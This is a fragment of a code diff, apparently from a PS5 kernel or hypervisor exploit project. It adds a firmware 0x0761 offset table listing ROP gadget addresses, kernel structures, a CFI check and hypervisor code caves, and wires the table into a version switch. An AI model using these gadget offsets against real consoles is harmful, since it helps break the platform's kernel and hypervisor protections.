.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
|
||||
// .GAD_WRMSR_RET not needed
|
||||
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
@@ -432,3 +450,44 @@ offset_list off_0602 = {
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81665CC0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 494536,
|
||||
};
|
||||
|
||||
offset_list off_0761 = {
|
||||
// .IOMMU_SOFTC not needed
|
||||
// .VMSPACE_VM_VMID not needed
|
||||
.VMSPACE_VM_PMAP = 0x1D8,
|
||||
// .DATA_BASE_GVMSPACE not needed
|
||||
.ACPIGBL_FACS = (0xFFFFFFFF83AC9C50 - KERNEL_TEXT),
|
||||
.IDT = (0xFFFFFFFF83CDFDF0 - KERNEL_TEXT),
|
||||
.COMMON_TSS = (0xFFFFFFFF83CE2AD0 - KERNEL_TEXT),
|
||||
// .STOPPED_CPUS not needed
|
||||
// .FUN_STOP_CPUS not needed
|
||||
// .FUN_AS_LAPIC_EOI not needed
|
||||
// .FUN_HV_UNMAP_PT_TMR not needed
|
||||
.FUN_MEMCPY = (0xFFFFFFFF80493600 - KERNEL_TEXT),
|
||||
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b9da44 - KERNEL_TEXT),
|
||||
.GAD_IRETQ = (0xFFFFFFFF8045480D - KERNEL_TEXT),
|
||||
.GAD_POP_RAX_RET = (0xffffffff8040e9d0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDI_RET = (0xffffffff803f1d78 - KERNEL_TEXT),
|
||||
.GAD_POP_RSI_RET = (0xffffffff803b28b0 - KERNEL_TEXT),
|
||||
.GAD_POP_RDX_RET = (0xffffffff805cd6b4 - KERNEL_TEXT),
|
||||
.GAD_POP_RCX_RET = (0xffffffff804e2231 - KERNEL_TEXT),
|
||||
.GAD_POP_RSP_RET = (0xffffffff8045a850 - KERNEL_TEXT),
|
||||
.GAD_WRMSR_RET = (0xffffffff80451d04 - KERNEL_TEXT),
|
||||
// .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
|
||||
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
|
||||
.KERNEL_CODE_CAVE = 0x500,
|
||||
.FUN_PRINTF = (0xFFFFFFFF804B05F8 - KERNEL_TEXT),
|
||||
// .FUN_HV_IOMMU_SET_BUFFERS not needed
|
||||
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
|
||||
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CB6710 - KERNEL_TEXT),
|
||||
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804BABC0 - KERNEL_TEXT),
|
||||
.HV_CODE_CAVE_PA = 0x62806F00,
|
||||
.HV_HANDLE_VMEXIT_PA = 0x6283D800,
|
||||
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822C33F8 - KERNEL_TEXT),
|
||||
.KERNEL_CFI_CHECK = (0xFFFFFFFF806857B0 - KERNEL_TEXT),
|
||||
.G_VBIOS = (0xFFFFFFFF83EF7A40 - KERNEL_TEXT),
|
||||
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BCC020 - KERNEL_TEXT),
|
||||
.FUN_MP3_INVOKE = (0xFFFFFFFF80BCADE0 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81655800 - KERNEL_TEXT),
|
||||
.PS5_WIFI_FW_SIZE = 497636,
|
||||
};
|
||||
|
||||
@@ -76,6 +76,9 @@ int set_offsets(void) {
|
||||
case 0x0602:
|
||||
env_offset = off_0602;
|
||||
break;
|
||||
case 0x0761:
|
||||
env_offset = off_0761;
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user